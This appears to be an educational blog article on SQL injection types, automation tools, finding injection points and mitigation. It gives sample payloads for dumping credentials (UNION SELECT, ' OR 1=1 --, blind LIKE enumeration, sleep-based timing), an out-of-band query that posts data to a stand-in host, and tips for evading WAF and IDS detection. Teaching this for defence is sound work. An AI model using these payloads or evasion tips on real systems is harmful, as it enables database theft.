In short – SQL injections also known as SQLi happen when user input becomes embedded into an SQL query instead of just being data. This means the server doesn't have protective mechanisms in place such as input sanitization and prepared statements. In this article we will cover the importance of SQL injections, the different types that exist, automating them, finding them and finally, mitigating them.

SQL Injections Today

In March 2024, the Cybersecurity and Infrastructure Security Agency (CISA) and the FBI released a joint statement regarding SQLi. They urged companies to scrutinize their codebases and look for possible attack vectors. Why? A major vulnerability in a popular file sharing service called MOVEit Transfer that resulted in a ransomware rampage. The repercussions were massive as over 1,000 organizations were breached and more than 60 million individuals were affected. Furthermore, according to Kroll, a risk advisory firm, the vulnerability had been in use for 2 years. Coveware estimated that the vulnerability resulted in the hacker group obtaining more than 75 million dollars.

All it takes is one mistake as a software developer and a single query can end up costing millions. For cybersecurity enthusiasts, this means you can end up making millions – or preferably do the legal and responsible thing, by disclosing it instead of exploiting it.

SQL Injection Types

There are 3 types of SQL injections, in-band, inferential or blind, and out-of-band. The ones most penetration testers are familiar with are in-band and inferential SQLi.

In-band SQLi

In-band means that after sending your malicious input, you will immediately get an output telling you if you succeeded or not in the same app/service.

Union based

Union based injections are very easy to achieve. Imagine you have the following database schema:

You might have a search function on your blog that goes like this behind the scenes:

SELECT title, CONCAT(SUBSTR(content, 1, 40), '...') content 
FROM posts 
WHERE title LIKE '%user input%'

At first glance, nothing is abhorrently wrong, it's a search function. However, some of your users have figured out a neat little trick! If they search for this: ' UNION SELECT email, password FROM users; -– they get to see email addresses and SHA256 password hashes. In this case the original query was transformed to the following:

SELECT title, CONCAT(substr(content, 1, 40), "...") content 
FROM posts 
WHERE title LIKE '%' UNION SELECT email, password FROM users; -- %' 

Which has resulted in the following search results:

Aside from outing the admin's email and password hash (for the curious, it's root hashed with sha256) this could have even more detrimental side effects for your company if you were to have a scheduled blog post talking about this year's financial losses that would only go live in a few weeks.

Obviously though, before you can perform such an injection and since we're using picky UNION statements we need to know how many columns we need to query (otherwise you will be faced with Error Code: 1222. The used SELECT statements have a different number of columns). Not only that you actually need to know the field names too.

If you'd like more information on manually performing a union based SQL injection, I recommend subscribing to the mailing list as much more content is on its way.

Error-based

As the name suggests, error-based, is all about errors. Errors are a magnificent thing if you're not on the development team. By explicitly creating errors, we can reveal more data about the database structure itself. We can use this to keep enumerating. If you were to find out the server is using MySQL version 5.5.30 you just hit the jackpot. Error-based SQL injections mainly serve to enumerate a database.

Inferential SQLi or Blind SQLi

Inferential/blind SQL injections make it possible to test for vulnerabilities even though we might not see the result immediately. This could happen when you register on a website and it checks if the email is already in use in the background. Since no database output is shown, we can still infer if our malicious input worked.

The difference between boolean and time-based SQL injections is how we notice if our attempt has been successful.

Boolean-based

Booleans evaluate if something is true or false, which is why they are super helpful when enumerating database columns. E.g. You want to know if the field email exists. Knowing this you can later enumerate this column using a boolean. By doing this you could step by step uncover an email address.

SELECT * 
FROM users 
WHERE email = '' 
AND password = '';

Using a boolean-based attack we could transform this query into the following:

SELECT * 
FROM users 
WHERE email = '' 
OR (SELECT 1 FROM users WHERE email='[email protected]') -- ' 
AND password = 'user_password';

This query will return either true or false depending on if [email protected]exists or not. If it does exist, depending on the application logic, it might log us in. But how can we exploit this further? Unless we're willing to manually type out every single email that exists just to check that they're in the system, we'll be slow.

What we can do instead is actually use this to our advantage and enumerate the query step by step using the LIKE operator:

SELECT * 
FROM users 
WHERE email = '' 
OR (SELECT 1 FROM users WHERE email LIKE 'a%') -- ' 
AND password = 'user_password';

Knowing this, we can start enumerating the rest of the email address. If we guessed correctly, it will potentially log us in, time and time again. If not, we'll stay logged out.

The more common and most familiar form of boolean-based SQLi is probably the following statement:

' OR 1=1 --

Time-based

As the name suggests time-based focuses on response delays. Imagine we have a register form where we look up if a username is taken:

SELECT id 
FROM users 
WHERE username = 'input' 

This wouldn't necessarily return anything, aside from true or false to the API (still considered time-based, we're checking for response times!). However if we were to craft the following query:

SELECT id 
FROM users 
WHERE username LIKE '' 
UNION SELECT sleep(5) from posts -- '

Suddenly the query could take seconds or even minutes, if you don't add a LIMIT to your SQL query. Effectively confirming that our query ran successfully.

Out-Of-Band SQLi

So far we have covered in-band and inferential SQL injection attacks. However there is one big but stealthy player left to cover, out-of-band SQLi.

As the name suggests, we won't be getting a server response on the medium we're using to communicate. E.g.: If you're injecting a payload into a search function, you could exfiltrate the output to a server you own. Why would you do this? Query responses are usually monitored. Dumping an entire user table in a query response can, and will eventually lift eyebrows. As out-of-band injections tend to be a side effect and do not return anything, this will circumvent UDFs, SPs and even intrusion detection systems (IDS) and other protective measures. If you were to make an HTTP(s) call POSTing your data to a server you own, this won't be scrutinized as much as the others.

You're not limited to HTTP either, other protocols can be used as well but you need to make sure the DBMS supports them, or use a UDF.

Example of such a call:

SELECT http_post('http://oob.local/upload', sensitive_data) 
FROM users;
-- NOTE: http_post is a UDF in this example.

More on this soon, in an in-depth post about Out-Of-Band SQLi.

Automating SQL injections

SQLi can be automated through the use of multiple tools such as sqlmap, jsql-injection,SQLMC and many others. These tools tend to be very helpful as you won't waste time figuring out if something is vulnerable or if user input is being filtered.

The downside of these tools shouldn't shock you, it is the noise they generate.
Usually noise isn't a problem, after all most developers don't look at production logs unless something is wrong. However, in an upwards trend of cybersecurity more and more organizations are starting to integrate WAFs, XDR and SIEM into their systems. These systems use AI, pattern recognition, custom rules and many more defences to log and counter these attacks. The more noise you make, the more you will stand out and the faster you will be found out. So unless you're targeting a firm that has no defences in place, chances are using automated tools won't cut it.

These tools tend to have covert settings, such as delay, meaning they won't just spam requests at unlimited rates. More importantly, as these tools have existed for a long time, they'll most likely have some features or cover injection points you wouldn't even have thought about, such as request headers.

More on these tools soon, in in-depth posts.

How to find SQL injections?

Finding attack vectors can be quite the challenging task, which is why you need to start thinking out of the box.

Some websites will log and save request headers to their database – it could be done for analytical reasons, fingerprinting or whoever else knows what. However most people overlook the fact that you can spoof these fields. You could potentially inject a query that drops a table.

Some FTP services rely on SQL managed authentication to login. A prime example of this is ProFTDP's mod_sql addon, which caused chaos in 2009 as it was vulnerable to SQLi.

Essentially, everything that receives user input could potentially be vulnerable. Even better, even if it is not vulnerable, it could end up being. This is called a second order injection. In short, the first payload doesn't get executed and instead it is escaped. However, upon being retrieved and used in a different context, such as stored in the database and later processed in another query, it could potentially execute and lead to an exploit.

Mitigating SQL injections

How do you defend yourself against this security threat?

Use prepared statements, not only do they protect you from SQLi, they will also speed up your queries. If you're using an ORM, most of them, if not all, will do this for you (unless you're using a raw query...).

There's more to be said here though. Your database should only be talking to your server. That's why it should block any incoming and outgoing traffic that isn't your server. This in itself will block out-of-band attacks.

More on this soon, in an in-depth post on how to mitigate SQLi.